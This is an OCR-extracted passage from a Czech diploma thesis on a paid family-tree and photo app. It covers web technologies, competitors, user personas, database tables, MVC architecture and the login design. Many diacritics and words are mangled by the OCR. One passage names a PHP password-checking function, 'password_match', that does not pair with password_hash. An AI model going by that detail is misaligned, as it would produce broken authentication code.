Obrazek 7: Nasobici funkce napsana v jazce JavaScript. (Zdroj: vlastni zpracovani)

Jazyk dokédze “odposlouchdvat” co se d€je v prohliZeci, a reagovat na udalosti podle toho,
jaké funkce programator nadefinoval. A podobné jako vétSina modernich jazykd, i tento

podporuje objektivni programovéani. (7)

Hitem posledni doby jsou frameworky zaloZené pravé na JavaScriptu, které exceluji svou
modularitou, rychlosti, rozsifitelnosti a podporou - aplikace na nich postavené 1ze zobrazit

ve vSech prohliZecich, na vSech zafizenich. (7)

Faktem je, ze JavaScript je dnes nedilnou soucdsti vSech webovych sluzeb, a ve své
vyvojaiské profesi delsi dobu sleduji zvétSujici se zdvislost pravé na tomto jazyce. Nékteré
poZadavky na funkce jsou bez implementace JavaScriptu neuvéfitelné ndro¢né, nebo tplné

neresitelné.
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1.3.5 HTML

Znackovaci jazyk pouZivany pro definici zobrazeni uZivatelského rozhrani. Obsah stranky
je strukturovan do bloki, které mohou byt také zanofené. DneSni prohliZeCe napfiic
platforem vykresluji nékteré bloky trochu odliSné, nicméné chovéani obecné dodrzuje

pravidla definovdna konsorciem W3C. (19)(20)

<article>
<h2>Priklad HTML obsahu</h2>
<p>Takto je oznacen blok pro odstavec textu. Predchozi blok
oznacuje obecny nadpis. HTML umozhuje i zanorovani blokd, <a
href="http://www.vutbr.cz">tato ¢ast predstavuje odkaz</a>.</p>
</article>

Obrazek 8: Blok zanofeného HTML kodu. (Zdroj: vlastni zpracovani)

Z pocatku byl pouzivan i pro upravu stylu pisma, barev, a dalsi vizualni efekty, ale
postupem casu se od této praktiky upustilo z diivodu lepsi prehlednosti, a HTML dnes
slouzi Cisté pro definovani struktury dokumentu. Vizudlni dpravy se dnes provadéji skoro

vyhradné pomoci CSS, pripadné JavaScriptem generovaného CSS. (19)(20)

1.3.6 CSS

Jazyk definujici vzhled bloki HTML dokumentu. Diky nému lze vytvaret uzivatelsky
privétivé webové aplikace, a podobné jako HTML jsou jeho pravidla (az na nékteré
vyjimky) respektovana ve v§ech modernich prohliZecich, a autor zdrojového kédu nemusi

psat pro kazdy prohlize¢ specificky soubor pravidel. (19)(21)

h2 {
font-size: 12px;
color: red;

Obrazek 9: CSS pravidla aplikovana na nadpis. (Zdroj: vlastni zpracovéni)
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2 ANALYZA SOUCASNEHO STAVU

Typickou analyzu soucasného stavu v pfipadé této diplomové price nelze provést, protoze
projekt jako takovy nema za cil nahradit jiz existujici feSeni, nybrz prinést uzivatelim

feSeni nové. Z tohoto dlivodu je tieba odpovédét na tii skupiny zdsadnich otdzek:

1. Je o navrhovanou sluzbu viibec zdjem? Jaky finan¢ni obnos jsou zdkaznici ochotni

za sluzbu utratit? Budou tyto poplatky stacit pro pokryti veskerého chodu sluzby?

2. Existuje na trhu konkurencni sluzba? Jak moc je existujici sluzba podobna nové
navrhované? Jakou pfidanou hodnotu bude nova sluzba uzivatelum pfinaset oproti

konkurenci?

3. Kdo jsou potencidlni uzivatelé vytvarené sluzby? Co je motivuje k pouzivani této

sluzby? Jaky problém se snazi s pomoci nové sluzby vyiesit?

2.1 Pruzkum trhu

Drive neZ se nékdo pusti do realizace nového produktu nebo sluzby, je praktické provést
prizkum trhu, na ktery se chce zaméfit. Lze takto ziskat zasadni informace, které pomohou
pfi dulezitych rozhodnutich v Zivotnim cyklu projektu (nebo pokud se do né&j viibec poustét).
Pro zdméry této diplomové prace jsem se rozhodl vyuzit on-line dotazniku, ktery je v této
fazi (pro ziskani zdkladniho prehledu) dostacujici. Dotaznik jsem vypustil do sité svych

N

zndmych, ktef{ ho takto §ifili dle.

2.2 Parametry Sluzby

Abych jasné mohl urcit pfipadné konkurencni sluzby, musim nejdiive vymezit Sifku a

hloubku nové sluzby.

2.2.1 Jakou konkrétni pridanou hodnotu sluzba nabidne?

Primdrni nabizen4 sluzba je moznost nahrat vlastni fotografie na tloziSté¢ o maximalni

velikosti ur¢ené podle vySe jejich mésicni platby a také podle dostupného diskového
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prostoru poskytovatele. SluZba primarné neslouZi jako archiv fotografického materialu, a

to zejména ze dvou duvodu:

1. Se stéle rostouci kvalitou (a velikosti) fotografii by uloZny prostor musel byt

nékolikandsobné vétsi, coz by se negativné projevilo na cené Sluzby.

2. V piipadé vypadku Sluzby, nebo pfi ztraté dat by zdkaznici mohli poZadovat kom-

penzaci, coZ by se negativné projevilo na finanénim zdravi SluZby.

Sluzba tedy nebude primérné prezentovéana jako archivni. U nahranych fotografii dojde
ke kompresi, ktera v nékterych piipadech miize mit za nasledek ztratu kvality. Tento fakt
je v8ak pro drtivou v&tSinu typovych uzivateld piijatelny, nebot timto dojde ke zrychleni

nacitani prohliZenych fotografii, a tedy 1 k rychlejSimu uspokojeni zakaznickych potteb.

Po vloZeni fotografie bude mit zdkaznik moZnost fotografie prohlizZet, a organizovat podle
potfeby do slozek (alb). Nahravani a prohliZzeni fotografii jsou tedy hlavnimi pfidanymi

hodnotami sluzby.

Veskera zodpovédnost za nahrany fotograficky materidl pfipadne uZzivateli. Pfi nahravani
vzdy musi potvrdit fakt, Ze na jejich Sifeni ma pravo, a osoby na fotografiich vyobrazené
jsou o jeho konani plné€ informované. Pokud tak jeSté¢ neucinil, bude mit moZnost tyto
osoby informovat prostfednictvim e-mailu, ve kterém bude nabidnuto vytvofeni nového
uzivatelského uctu, ktery bude umoziovat prohlizeni fotografii, na kterych je tato osoba
oznacena. Takto oznacena osoba také bude mit moznost pozadat o smazani fotografie z

divodu ochrany soukromi.

2.2.2 Cim dal$im se sluzba vyznacuje?

Rodinné fotografie z principu zachycuji rodinné pfislusniky, takze dalSi sluzbou bude
databaze Clend rodiny, ze které se bude s rostoucim mnoZstvim dat automaticky tvofit
rodokmen. Na fotografii bude mozZnost osobu oznacit, a tim se fotografie pfida do specidlni

sbirky tvofené pouze fotografiemi dané osoby.

Systém sdm poznd, Ze je na fotografii zachycena lidska tvar, a nabidne uZivateli jeji

oznaceni. Cim vice tvaii si systém bude moci spojit se jménem, tim 1épe bude tvaie
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pozndvat, a nabizet tak relevantni jména. Rozpozndvéani tvari bude fungovat na principu

strojového uceni.

Hodnota informace dané kategorie roste spolecné s kvantitou informaci dané kategorie, a od
urcitého mnoZstvi informaci lze tvorit uzitecné statistiky. UZivatelé proto budou nabddani,
aby vyplnili maximum informaci o osobdch oznacenych na fotografiich. Nejen Ze pak
budou tyto osoby 1épe dohledatelné, ale diky statistikim se mohou dozvédét napiiklad
nejvice vyskytujici se jméno v roding, barvu vlast, nebo tieba primérny dozity vék, ¢i
nejCastéjsi pri¢inu umrti. UZivatel tak ziskd omezeny vhled do svého genetického sloZend,

a muZe s urcitou presnosti predpokladat nékteré genetické dispozice.

Sluzba sice bude placend, ale uZivatel tim ziska absolutni kontrolu nad daty, kterd bude do
sluzby posilat. Své Clenstvi bude moci kdykoliv zruSit, do té doby nahrand data stahnout

zpét na sviij pristroj, a smazat.

2.3 Konkurence a alternativy

Dovolim si tvrdit, Ze pfima konkurence mnou navrhované sluzby neexistuje, respektive
na soucasném trhu neexistuje zadna sluzba, kterd by nabizela vSechny vySe uvedené
funkce. Nicméné existuji vice ¢i méné zndmé (populdrni) sluzby, které se alesponi Castecné
prekryvaji a/nebo nabizeji jinou pridanou hodnotu. Pro tuto analyzu jsem vybral tfi
nejsilnéjsi sluzby, a ve zkratce popiSu ¢im jsou mnou narhované sluzbé podobné, v ¢em

jsou lepsi, a také jaké vyhody by nabizela ma sluzba.

2.3.1 Facebook (a dalsi socialni sité)

Tuto sluzbu pouziva, nebo o ni alesponi slySela vétSina souasnych obyvatel nasi planety.
Bezplatné umoziuje vytvofit sviij on-line profil, a spojit se tak se stovkami miliond lidi z

celého svéta.
Podobnost s navrhovanou sluZbou:

e Mnou navrhovand sluzba bude obsahovat prvky socidlni sité, nicméné dosah takové

sité bude pouze v ramci rodinnych vztaht.
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e Obé sluzby umoziuji komunikaci mezi svymi Cleny.

e Facebook dovoluje nahravat fotograficky obsah, oznaovat zachycené osoby, a uci

se poznavat tvare.
Vyhody Facebooku:

e Obrovska popularita a rozsitenost po celém svéte. Uzivatelé musi mit silnou pobidku

proto, aby zacali pouZivat jinou sluzbu.
Nevyhody Facebooku:

e UZivatel nahrdnim vlastniho obsahu ztrici veSkera prava, a obsah se tak de facto

stava majetkem Facebooku, a sluzba s nim miiZe manipulovat dle libosti.
e Diky velké popularité se Facebook stdva Casto ter¢em tniku dat.

e Plvodné komunikaéné zaméfena sluzba na sebe postupem Casu zacala nabalovat

dalsi funkce, které zpomaluji, nebo jinak znepfijemnuji pouzivani.

e Ziskané informace nabizi reklamnim agenturam, které pak nabizeji 1épe cilenou
reklamu. (Facebook je tak “zpoplatnén” ztrdtou soukromi, a zvefejnénim svého

osobniho Zivota)

e Na webovych strankach a aplikacich zobrazuje uZzivatelim reklamy, a nenabizi

moznost predplatného, které by umoznovalo jejich skryti.

2.3.2 MyHeritage

Nejpopulédrnéjsi sluzba pro tvorbu a spravu rodokmene.

Podobnost s navrhovanou sluZbou:
e Obé sluzby umoziuji komunikaci mezi svymi Cleny.
e MyHeritage dovoluje nahrdvat fotograficky obsah a oznacovat osoby.
e U osob v rodokmenu umoziuje vyplnit zdkladni informace.

Vyhody MyHeritage:
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e Populérni, zabéhnuta sluzba.

e Nabizi extra sluzby jako napfiklad vyhledavani v historickych zdznamech a mapovani

DNA.
Nevyhody MyHeritage:

e Moznosti pridani informaci o osobéch jsou velmi omezené, z dat nelze tvofit statis-

tiky.

e Webové stranky nejsou uzivatelsky piivétivé, napiiklad osoby se slabym zrakem

mohou mit problém s pouzivanim.

2.3.3 Flickr (a jemu podobné ulozisté fotografii)

s L 2

Jako hlavni tvar této kategorie jsem si vybral sluzbu Flickr, kterd nabizi ze vSech podobnych
sluZeb pravdépodobné nejvice. Primarné urceno jako ulozisté fotografii, Flickr nabizi dalsi

omezené ndstroje.
Podobnost s navrhovanou sluZbou:

e Flickr obsahuje prvky socialni sité, pod timto ohledem je svou filosofii velice blizko

mé sluzbé.

e JakoZto dloziste fotografif umoZziiuje nahravani fotografii, a v omezené mife oznacova-

ni osob (vysvétleno v nevyhodéch).
Vyhody Flickru:

e Majitelem je americky gigant Yahoo, takze ma velice dobré hardware zdzemi a celé

tymy expertll na programovani, sit¢ a bezpecnost.

e Velice prijemné uZzivatelské rozhrani, plus pouZzitelna aplikace jak na iO0S, tak An-

droid systém.
e Bohaté API pro pouZiti v ostatnich aplikacich.

Nevyhody Flickru:
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e Oznacit 1ze pouze osoby figurujici na Flickru, nebo dalSich sluzbdch spadajicich pod

firmu Yahoo.
e Informace o oznacené osobé pouze v rozsahu toho, co sama poskytla.

e Pokud své fotografie neoznacite jako soukromé, jsou volné dohledatelné.

2.4 Uzivatelské persony

S n€kolika lidmi jsem se dokonce setkal osobné, a planovany projekt jsme probirali vice do
hloubky. Tyto osoby jsem si vytipoval jakoZto typické potencidlni uzivatele, a diky tomu, Ze
mi dali nahlédnout do jejich potieb a zpisobu mysleni, jsem ziskal neocenitelné, organické

informace, které Zaddny dotaznik neumoZzni ziskat. Z doposud ziskanych informaci jsem

vytvortil tfi modelové uzivatele (jména a fotografie jsou fiktivni).

24.1 Adéla, 82 let

Pani Adéla je uz dlouho v zaslouZzeném dichodu. Ma tfi déti, pét vnuka a dva pravnuky.
Od vnuku dostala tablet, aby mohla se vSemi 1épe komunikovat. Na velkém displayi
tabletu si nejradéji prohlizi fotografie své rozsahlé rodiny. Zdravi uz ji neslouZi tolik, aby
mohla vSechny chvile proZivat s nimi, a také uz bohuzel zapomina nékteré tvéfe a situace

zachycené na fotografiich. Proto uvitd, kdyz kazda fotografie bude obsahovat alespor

jména osob, které by pomohly osvéZit jeji pamét.

2.4.2 Josef, 54 let

Panu Josefovi uz do diichodu chybi jen par let, a pomalu se dostava do faze, kdy vzpomina
na své zazitky, a premysli nad tim, co vSechno za svij zivot dokazal. Ma velkou sbirku
rodinnych fotografii, a dokud mu jesté slouzi pamé&f, rad by si ve volném Case dilezité

fotografie nékam nahral, a pfifadil k nim dileZzité informace pro dalsi generace.
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2.4.3 Anna, 26 let

Pani Anné se zanedlouho narodi druhy potomek, a rdda by o své rodiné zanechala co
nejvice informaci. Rodi¢e pani Anny totiZ oba zemfeli, kdyZ byla v titlém véku, a o svych
predcich nebyla schopnad zjistit mnoho relevantnich informaci. Aby jeji déti, vnuci a snad 1
dalsi generace nevyristaly bez védomosti o tom, jaci lidé jejich ptedci byli, chce aktivné

spravovat a uchovavat relevantni informace o rozriistajici se roding.

Pani Anna se také snazi chranit soukromi své rodiny na internetu, proto chce mit moznost

vSechny poskytnuté informace kdykoliv stdhnout a smazat.

2.5 Analyza person

Pro splnéni o¢ekavéani pani Adély bude muset byt systém maximdlné uZivatelsky piivétivy,

a je tfeba mit na paméti ptistupnost pro star$i osoby a osoby se zhorSenym zrakem.

Pozadavky pana Josefa a pani Anny jsou prakticky identické. Mutzu predpokladat, ze
technologickd gramotnost pana Josefa nebude na stejné drovni, jako u pani Anny, takze
vétSina funkci by méla byt zjednoduSena natolik, aby k jejich nauceni stacilo pouze pér

minut.

Pani Anna dfive nebo pozdéji vyuZije vSechny nabizené funkce, a dal§im mym predpokla-
dem je, Ze bude za sluzbu ochotna zaplatit nejvice penéz v pripadé, Ze bude sluzba spliiovat

nastavené Kritéria.

2.6 Shrnuti analyzy soucasného stavu

Pomoci dotazniku jsem ziskal hrubou predstavu o tom, jak by mél byt mnou navrhovany
systém koncipovan. Tuto piedstavu jsem rozsitil diky osobnim schiizkdm, na kterych jsem
Sel do hloubky pfemysleni potencidlniho uZivatele sluzby. Tyto dvé ¢innosti jsem doplnil
analyzou konkurence, podle které na trhu zatim neexistuje plnohodnotné alternativa, a

vSichni konkurenti maji své vyhody a nevyhody.
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3 VLASTNI NAVRH RESENI

V této Casti diplomové price uvedu, jak jsem pii tvorbé Aplikace postupoval, popiSu jeji
dilezité Casti a také to, jak funguje. Zminim se o tom, jaké ndstroje jsem pouzil, jak
jsem postupoval pfi navrhu grafického rozhrani Aplikace, jaké funkce mam v planu do
budoucna, a na zavér finanéné zhodnotim cely projekt 1 s pfedpokladanym budoucim

vyvojem.

3.1 Pripravné prace

Nez popiSu jak jsem pii tvorbé Aplikace postupoval, musim nejdfive popsat nejen to, kde
bude Aplikace spusténa, ale také alespon ve zkratce uvést, jaké vyvojové ndstroje jsem

pouzival.

3.1.1 Vyvojové prostiredi

Operacni systém Windows se sice v poslednich né¢kolika letech zacal vice vénovat potfebam
vyvojard, ale nejlepsim operacnim systémem pro tento druh prace jsou porad Linuxové
distribuce. Dovoluji totiz 1épe a jednoduse;ji rozsitit své knihovny, a kazdy vyvojar si tak
udéla takové prostiedi, které nejvice vyhovuje jeho cilim. Dalsi vyhodou Linuxu je nativni
podpora nékterych funkci, jako je naptfiklad SSH, které jsem popisoval v Teoretickych
vychodiscich, a které stéZejni ¢asti Aplikace. Vyvoj v nékterych jazycich je na Linuxu
naopak obtiznéjsi, neZ na Windows, ale v tomto pfipadé je pro PHP a dal$i mnou vyuZzité

jazyky pfirozenéjsi pouZzit prvni zminény systém.

Mnou zvolena Linuxové distribuce obsahuje ze za¢idtku minimum knihoven, a musel jsem
tak postupné nainstalovat serverovy software Apache, podporu pro PHP, databdzovy systém
MySQL spole¢né s administracnim rozhranim phpMyAdmin a také editor kédu, kterym
je (trochu prekvapive) Visual Studio Code od firmy Microsoft, autori konkurencnich”
Windows. To je totiZ bezplatné, podporuje vétSinu pouZivanych programovacich jazykt a

ma zabudovanou systémovou piikazovou fadku (konzoli).

Instalaci serveru zde nebudu popisovat, protoze je jednoduchd, a staci se fidit pokyny na
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monitoru. Po instalaci na pocitaci vznikl adresar var/www/html, do kterého budou umistény
zdrojové soubory, a predstavuje diskovy prostor serveru. Instalace dalSich zminénych
komponent je dnes uz rovnéZ jednoducha, a kazdy krok je dobfe popsan, takze uZivatel ve

vétsing piipadii nakonfiguruje své vyvojové prostiedi spravné.

Pro praci s JavaScriptem a CSS jsem vyuZil nastroj Gulp (dostupny z https://gulpjs.com/),
ktery nabizi n¢kolik uzitecnych funkci, jako je napiiklad minifikace soubord (uSetifim tak
uzivatelim stahovand data), spojeni vice soubord do jednoho (méné pozadavki na server)
a nebo tzv. “prefixovani” v CSS, kdy néstroj automaticky doplni pravidla specificka pro

nékteré prohliZece.

3.1.2 Databaze

Diky nainstalovanému administracnimu rozhrani phpMyAdmin nebudu muset operace nad
databazi provadét prostiednictvim piikazové radky, ale miizu databazi jednoduse spravovat
ptimo v prohlizeci. Databaze je samozrejmé st€Zejni ¢ast Aplikace, takzZe jsem si na navrhu
jeji struktury dal extra zalezet. Struktura entit (tabulek) databaze je v pfiloze €. 1, a ve

Vlastnim ndvrhu feSeni uvedu pouze seznam entit, jejich popis a ucel, ktery budou plnit.

Naézvoslovi jsem se rozhodl pouZzit anglické, protoZe je pro mé prirozené, a dokdzu v
tomto jazyce 1épe koncepcné premyslet. KliCova slova programovacich jazyki jsou
také v anglickém jazyce, takZe minimélné v tomto sméru bude zachovana jednotnost.
Viceslovné nazvy v databdzi budou oddélena podtrzitkem (”_) a tim se budou odliSovat od
nazvii proménnych piimo v kédu, at uz v PHP nebo JavaScriptu - ty budou psané stylem

v, o 2

camelCase, kdy se jako oddélovac slov pouziva kapitdlka u prvniho pismena slova.

AN b

V Aplikaci budou figurovat tii ”superentity”, které tvoii absolutni minimum, bez kterého

by systém nemohl fungovat ani v nejocesanéjSim stavu.
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Tabulka | Entita Popis

user UZivatel Zakladnimi informace o uZivatelich Aplikace.
tree Rodokmen | UZivateli vytvofené rodokmeny.

image Fotografie | Fotografie nahrané do Aplikace.

Tabulka 1: Tabulka kritickych entit Aplikace. (Zdroj: Vlastni zpracovani)

Zbylé tabulky a entity, které obsahuji, nejsou zivotné diilezité pro chod Aplikace, ale 1ze
diky nim uchovavat dalSi uzitecnd data nejen pro statistické ucely, ale také naptiklad pro

lepsi bezpec€nost.
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Tabulka Entita Popis

person Osoba Virtualni ¢len navdzan na uZivatele.
album Foto album Sbirka fotografii z rodokmenu.
persmission Povoleni Pristupnosti funkci/Casti Aplikace.
settings Nastaveni Predvolby uklddané do databéze.
locale Jazyk Jazyk, ména, formatovani Cisel a dalsi.
currency Ména Pouzivana v konkrétnim jazyku.
account_type Typ uctu Vycet funkci které typ uctu dovoluje.

pricing_plan

Platebni moznosti

Druhy plateb za vyuZzivani Aplikace.

pricing_plan_price | Poplatky Cena v bezménovych castkéich.
service_agreement | VOP Vseobecné obchodni podminky Aplikace
gdpr_agreement GDPR Informace o nakladani s osobnimi udaji.
login_attempt Ptihlaseni Pokusy o prihlaseni do Aplikace.

password_change

Zména hesla

Zaznam o zméné hesla.

password_email

E-mail o zm. hesla

Kli¢ pro zménu hesla odeslany e-mailem.

user_suspension

Blokovani uZivatele

Docasné odebrany pfistup uzivateltim.

person_face

Tvare osob

Vysttizky tvéii osob z fotografii.

forbidden_email

Zakazany e-mail

E-mail zamitnuté osoby.

invoice

Faktury

Zavazky uzivateli vici provozovateli.

payment

Ptichozi platby

Vypis pfichozich plateb bankovniho uctu.

account_addon

Sluzby navic

Ptiplatkové sluzby pro dany typ uctu.

Tabulka 2: Tabulka sekundarnich entit Aplikace. (Zdroj: Vlastni zpracovani)

Nasledujici terciarni tabulky jsou propojovaci, tj. obsahuji hlavné cizi klice dvou jinych

tabulek.
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Tabulka Popis

user_person Provéazani uZivatele a osoby.

user_permission Povoleni pfifazena pfimo uzivateli.

user_service_agreement | Souhlas s VOP Aplikace.

user_gdpr_agreement Potvrzeni obeznameni se s GDPR.
image_person Osoba oznacena na fotografii.
image_album Zarazeni fotografie do foto alba.
person_descendant Propojeni osob zptsobem rodi¢-potomek.

account_type_permission | Povoleni pfifazena typu uctu.

tree_admin Administratori rodokmenu.

Tabulka 3: Spojovaci tabulky Aplikace. (Zdroj: Vlastni zpracovéni)

3.2 Architektura Aplikace

Aplikaci jsem nestavél na zelené louce, ale vyuzil jsem svij maly framework psany v
jazyce PHP, ktery funguje na logice MVC (Model-View-Controller). Na prvni verzi tohoto
frameworku jiz nékolik let uspésné funguje jeden muj starsi projekt, a jelikoz jsem ho od
té doby diky novym znalostem a zkuSenostem znacné rozsifil, rozhodl jsem se ho vyuZzit i

pro tento projekt.

3.2.1 Modely

Modely piebiraji a obsahuji data z Entit (tabulek) v databazi. Ne kazda tabulka ma svij
model, zvlasté pokud se jedna pouze o propojovaci tabulku. Modelové soubory obsahuji
pouze jednu tfidu, na jejiZ proménné jsou namapovany hodnoty ze zdznamu databéze.
Nékteré také obsahuji pomocné metody, které mam k dispozici pokazdé, kdyz potiebuji

manipulovat s obsaZenymi hodnotami.
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3.2.2 Views (Pohledy)

Lze je také nazvat Sablonami, ale obecné predstavuji prezentacni vrstvu Aplikace, ve které
dochézi k (definovéni) vykreslovani poskytnutych dat. Pohledy jsem rozdélil podle sekci a
modulil, a snazil jsem se zachovat jednotné nazvoslovi - takZe naptiklad pohledy majici na
starost vykreslovani seznamu fotografii i osob maji nézev list.php, ale existuji v adresari

image respektive person.

3.2.3 Controllers (Radice)

Zpracovavac a prostfednik informaci mezi modelem a pohledem. Veskéré vypocty v Ap-
likaci se provadi v jednom z fadi¢li nasledujicim zpisobem: metoda z databdze ziska data,
kterd uloZi do modelu, a ten posle jako proménnou do pohledu. V Aplikaci existuje jeden

hlavni fadic, ktery je dostupny globélné, a diky nému Ize vyuzivat nékteré nejpouzivané;jsi

funkce aniZ by bylo nutné inicializovat dalsi tfidu.

3.2.4 Adresarova struktura

Modely, pohledy a fadi¢e jsou zafazeny do jednoho adresére, jehoZ soubory jsou dostupné
pouze ze serveru, na kterém bézi. Nikdo se tedy nemize bez patfi¢nych opravnéni
vzdalené podivat na zdrojovy kod Aplikace. Jediné, co miZe z tohoto adresare vidét, jsou

JiZ vykreslené pohledy.

Druhy kofenovy adreséf jiZ 1ze zobrazit vzdalené, nicméné jeho obsah nelze upravit, a
obsahuje pouze skripty a styly definujici vzhled a chovani rozhrani Aplikace. V téchto

souborech nejsou uchovavéiny nebezpecné ani osobni tdaje.

Uzivatelské soubory jsou uchovavany ve tretim kofenovém adresari, kterého obsah je

znovu piistupny pouze ze serveru.
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3.3 Externi knihovny a API

z Y 7z s

Neékteré &asti Aplikace vyuZivaji jiz hotovd feseni, které bych bud nedokdzal sim napsat

v produk¢ni kvalité, nebo bych do jejich tvorby musel vlozit zbytecné moc Casu. Pro

vvvvvv

3.3.1 jQuery a jQuery Ul

Nadstavba JavaScriptu, kterd kdysi pomdhala sjednotit chovani v riznych prohliZeCich, a
ulehcit praci v tomto jazyce. Vyvoj JavaScriptu Sel ale rychle kupfedu, a jeho implementace
prohliZeci je dnes az na par vyjimek jednotnd, takZe pfi tvorbé nové aplikace jiz vlastné
neni nutny. V Aplikaci vSak figuruji dals$i knihovny, které jsou na jQuery zavislé, a proto

jej jesté musim pouzivat. Dostupné z https://jquery.com/.

3.3.2 Bootstrap

Rozsahla knihovna CSS a JavaScriptu, kterd obsahuje pfedpfipravené prvky uZzivatelského
rozhrani, které spliiuji zdkladni funk¢ni a estetické parametry pro pouzitelnost. Jelikoz Ap-
likace bude mit vlastné vytvorené rozhrani, z knihovny jsem pfevzal pouze JavaScriptovou
¢ast, napiiklad pro vybér data z kalendére, drobné vyskakovaci popisky a dalsi. Dostupné

z https://getbootstrap.com/.

3.3.3 Quill

Textovy editor v prohlize€i postaveny na JavaScriptu, a vyuZzivajici HTML znacky pro
formatovani. Pouzivany vSude tam, kde se hodi uZivateli nabidnout formatovani vloZeného

textu. Dostupny z https://quilljs.com/.

3.3.4 Mapy.cz API

Uzivatel diky této knihovn& md moZnost zadat misto bud p¥fmo do textového pole, nebo

ho vybrat na interaktivni mapé z dilny ¢eského Seznamu. Knihovna podporuje i pokrocilé
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funkce, jako je naptiklad naSeptavac. Dostupné z https://api.mapy.cz/.

3.3.5 Font Awesome

Sbirka ikon pro zpestieni uZivatelského rozhrani, ale také pro uSetfeni mista, kdyz je textové
vysvétleni pfili§ dlouhé. Font Awesome nabizi ikony v riznych formatech, pro Aplikaci

jsem zvolil SVG verzi z diivodu lepsi upravitelnosti. Dostupné z https://fontawesome.com/.

3.3.6 FaceApi.js

Knihovna, kterou poZivam pro rozpoznavani tvari. Funguje na bazi modelt, diky kterym
dokaze v realném Case rozpoznat charakteristické body na lidské tvari, a s rliznou presnosti
urcit, Ze se jednd pravé o lidskou tvaf. Dostupné z https://github.com/justadudewhohacks/face-

api.js.

3.3.7 Select2

Rozsifeni vybérového formulafového prvku (select) nabizejici napiiklad vyhleddvani
v moznostech nebo lepsi orientaci pii vice vybranych moznostech. Tuto knihovnu
nepouzivam na mobilnich zafizenich, ty totiZ vybérové formulafové prvky zpracovavaji

specifickym (a lep§im) zptsobem. Dostupné z https://select2.org/.

3.4 Definice typu uzivatelu

Aplikace je technicky velice komplexni, nicméné jadro jejiho fungovani je obecné jednodu-
ché. Nejdrive tedy popisu fungovani Aplikace bez definovani pouzitych moduli, databazo-

vych tabulek nebo funkci.

3.4.1 Primarni uzivatelé

Timto terminem nazyvam uZivatele, ktefi se do Aplikace registrovali, a aktivné pfispivaji

do jejich rodokmenu, af uz vizudlnim materidlem, nebo osobnimi informacemi. Kdybych
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byl takovym uZivatelem ja, vytvorfil bych rodokmen, a nazval ho jednoduse - "Machac”.
Rodokmen sdm o sobé neobsahuje pfili§ informaci, a slouZi spiSe jako pomyslny zdkladn{

kamen, na kterém se stavi dalsi obsah.

Podobné jako je tomu v redlném Zivote, rodokmeny Aplikace obsahuji virtudlni predstavitele
realnych rodinnych prislusniki - osoby. UZivatelé jsou tedy ¢leny rodokmenu pouze pies
vytvorené osoby, a v jednom rodokmenu mohou byt samoziejmé zastoupeni pouze jednou

osobou.

I v rodokmenu figuruji dvé skupiny uzivatelG: administratofi a ¢lenové. Autor rodokmenu
se automaticky stavd administratorem rodokmenu, a miiZe tento status pridat jinému
Clenovi. Obycejni ¢lenové maji pravo si rodokmen a jeho obsah prohliZet, ale pouze
administratofi maji pravo pridavat nové osoby, vkladat fotografie, a oznaCovat na nich

osoby.

KdyzZ chce administrator rodokmenu pridat novou osobu, miiZe tak u¢init pomoci formulare.
ProtoZe vsak jde o proces postupovani cizich osobnich tdajt, je nutné vyplnit i e-mailovou
adresu Clovéka, kterého ma nova osoba predstavovat. Uzivatel tedy musi tohoto ¢lovéka
znat alespon natolik, aby znal jeho e-mailovou adresu. Jedinou vyjimkou jsou zesnuli

rodinni pfislusnici, u kterych staci pouze vyplnit datum amrti.

Na vyplnény e-mail pfijde zprava obsahujici kratké info o Aplikaci, a také o tom, kdo
zpravu odeslal. Zprava bude déle obsahovat dva odkazy: prvni zavede prijemce na formuldar
pro vytvoreni specidlniho Gctu, a kliknutim na druhy da spravcim Aplikace najevo, Ze
nesouhlasi s uchovavanim svych udajt. Pouze po navstiveni prvniho odkazu bude moci
autor osoby (administrator rodokmenu) tuto osobu ”pouZzivat” v Aplikaci. Pokud do tydne
nedojde ani k potvrzeni, ani k zamitnuti, bude zaznam osoby automaticky vymazan, a

uzivatel muze piipadné pokus o vloZeni osoby opakovat.

3.4.2 Sekundarni uzivatelé

Takto nazyvam uZivatele, ktefi si zaloZili specidlni ucet diky odkazu odeslanému po pridani
nové osoby do rodokmenu. UZivatel s timto typem G¢tu nemd pravo na vkladani Zadného

obsahu, a mize prohlizet pouze obsah, ve kterém je oznaCen. Samoziejmosti pak bude
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moznost kdykoliv pozadat o vymazani vSech osobnich informaci, a terminaci uctu. Bude
mit prehled o tom, jak je s jeho osobnimi informacemi zachizeno, aniz by se aktivné
angazoval do déni v jeho rodokmenu. Pokud se bude chtit do rodokmenu zapojit vice,

miiZe svij ucet povysit na neéktery ze standardné nabizenych typu.

3.5 Autentizace a autorizace

Pro lepsi zabezpeceni a organizaci jsem Aplikaci rozd€lil na dvé Casti: vefejnou a admin-
istracni. Vefejna Cast je pak jesté rozdélena na sekci pristupnou bez pfihlaSeni, a sekci

pfistupnou pouze autorizovanym uZzivateltiim.

3.5.1 Pred prihlasenim

NepftihlaSenému navstévnikovi (a potencidlnimu novému uzivateli) bude umoznéno zo-
brazit stranky obsahujici informace o Aplikaci, v€etné vSech pravidel pouZivani, stranky
registraéni a prihlaSovaci. Registrace bude probihat tak, Ze uzivatel vyplni platnou e-
mailovou adresu, kfestni jméno, pfijmeni, heslo pro pristup na noveé vytvoreny ucet, a

vybere si jaky typ uctu chce pouzivat.

E-mailova adresa bude slouZzit jak pro komunikaci, tak i jako pfihlaSovaci jméno. Po
registraci na ni pfijde uZivateli zprava o vytvoreni nového uctu, kterou jesté musi potvrdit,
aby prokazal, Ze e-mailové adresa zadand pri registraci, je skuteCné jeho. Na jednu
e-mailovou adresu muiize byt vytvoien pouze jeden uzivatelsky ucet, a pokud uzivatel

nepotvrdi zaloZeni Gctu, dojde po tydnu k vymazani pokusu o registraci.

UZivatelské heslo bude pomoci PHP funkce password_hash jednosmérné Sifrovano, a
ndsledné uloZeno do databéze. Pii ptihlaSeni pak dochdzi k porovnéni uloZeného Sifrovaného
hesla v databazi, a zadaného neSifrovaného hesla pomoci funkce password _match, a pro
uspésnou autentizaci musi byt pravé vyplnéné heslo Sifrované stejnou metodou shodné,
jako heslo ziskané z databaze. Pivodni hodnotu hesla neni mozné ziskat zpét, takze v
pfipadé jeho zapomenuti je nutné vyplnit heslo nové. Pozadavek na zménu hesla podéva
uzivatel, a staci vyplnit e-mailovou adresu spojenou s jeho uZivatelskym tctem. Pokud

takova adresa v databdzi existuje, do tabulky password_change se ulozi zaznam o pokusu
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o zménu hesla, ktery obsahuje pseudonahodny fetézec znaku, jenz se také piipoji k
vytvorenému odkazu udeslanému na poskytnutou e-mailovou adresu. Po navstiveni stranky
